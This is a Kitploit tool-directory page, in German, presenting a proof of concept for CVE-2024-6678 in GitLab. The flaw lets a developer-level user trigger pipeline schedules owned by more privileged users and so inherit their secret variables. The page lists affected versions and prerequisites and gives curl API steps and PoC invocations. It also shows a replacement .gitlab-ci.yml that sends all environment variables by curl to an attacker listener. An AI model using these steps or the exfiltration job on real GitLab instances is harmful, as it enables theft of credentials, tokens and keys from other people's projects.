Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-6678 — PoC for CVE-2024-6678 | Kitploit
Tools/GitHubGitHub/fallenskill1/cve-2024-6678
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityDevSecOps
GitHubfallenskill1/cve-2024-6678

CVE-2024-6678

PoC for CVE-2024-6678

Repository anzeigen
41vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-6678 - GitLab: Pipeline Schedule Arbitrary User Trigger

PoC für CVE-2024-6678

Beschreibung der Schwachstelle

GitLab ermöglicht es Benutzern, CI/CD-Pipeline-Zeitpläne (Pipeline Schedules) manuell über die Schaltfläche „Play“ zu starten. Die Schwachstelle besteht darin, dass die Funktion „Play“ es jedem Benutzer mit Developer-Rechten (nicht nur dem Besitzer des Zeitplans) erlaubt, einen Zeitplan auszuführen. Dies hat zwei Konsequenzen:

  1. Ein Entwickler startet einen Zeitplan, der von einem privilegierteren Benutzer (Maintainer/Owner) erstellt und konfiguriert wurde.
  2. Der gestartete Pipeline erbt die Umgebungsvariablen aus dem Zeitplan (einschließlich sensibler Daten), obwohl der Developer keine Berechtigung hat, diese über die API einzusehen.

Die letztendliche Auswirkung hängt davon ab, was in den Variablen des Zeitplans gespeichert ist. Beispielsweise ermöglicht die Variable DB_PASSWORD einen vollständigen Datenbank-Dump, während SSH_PRIVATE_KEY RCE ermöglicht.

Schritte zur Reproduktion

Voraussetzungen

  • GitLab CE/EE, Versionen von 8.14 bis 17.1.6 / 17.2.4 / 17.3.1
  • Angreiferkonto mit Developer-Rechten im Zielprojekt
  • Im Projekt existiert mindestens ein aktiver Pipeline-Zeitplan
  • Der Zeitplan zielt auf einen ungeschützten Branch (z. B. develop, staging) – oder das Projekt enthält Zeitpläne mit kurzem Ref-Format (Bypass)

Wichtig: Zeitpläne auf geschützten Branches (z. B. refs/heads/main bei aktiviertem Schutz) werden durch die Richtlinie PipelineSchedulePolicy#protected_ref blockiert und geben HTTP 403 zurück. Der Angriff funktioniert für ungeschützte Branches – genau dort werden oft Integrations- und Staging-Zeitpläne mit produktionsrelevanten Credentials erstellt.

Schritt 1: Liste der Zeitpläne abrufen

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
  | python3 -m json.tool

Suchen Sie einen Zeitplan, der einem privilegierteren Benutzer (Maintainer/Owner) gehört.

Schritt 2: Zeitplan ausführen

root@kitploit:~
curl -s -X POST \
  -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"

Erwartete Antwort: HTTP 201 – Der Pipeline wurde in die Warteschlange eingereiht.

Der Pipeline wird im Namen des Angreifers (current_user) erstellt, jedoch mit allen Variablen des Zeitplans (einschließlich API-Schlüssel, Token, Credentials, die vom Besitzer konfiguriert wurden).

HTTP 500 „Unable to schedule pipeline run immediately“ – Erwartetes Verhalten. Dies ist die Sidekiq-Deduplizierung (deduplicate :until_executed): Eine Aufgabe für diesen Zeitplan befindet sich bereits in der Warteschlange von einem vorherigen erfolgreichen Start. Der Angriff wurde also bereits zuvor ausgelöst und die Aufgabe wartet auf die Ausführung.

Schritt 3: Bestätigen der Pipeline-Erstellung im Namen des Angreifers

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
  | python3 -m json.tool | grep -E '"id"|"status"|"username"'

Verwendung des PoC

root@kitploit:~
# Basisausführung: automatische Auswahl des Zeitplans
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42

# Bestimmten Zeitplan angeben
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --schedule-id 7

# Über GraphQL (erfordert --project-path)
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --graphql \
    --project-path "mygroup/myrepo"

# Legacy-Ref-Bypass prüfen
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --exploit-mode
image_2026-05-21_11-43-42 image

Vor dem Auslösen ersetzt der PoC die .gitlab-ci.yml in develop durch: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-

All dies landet auf Ihrem Listener

image_2026-05-21_19-05-58

Links

  • GitLab Security Advisory
  • NVD: CVE-2024-6678
Tool herunterladen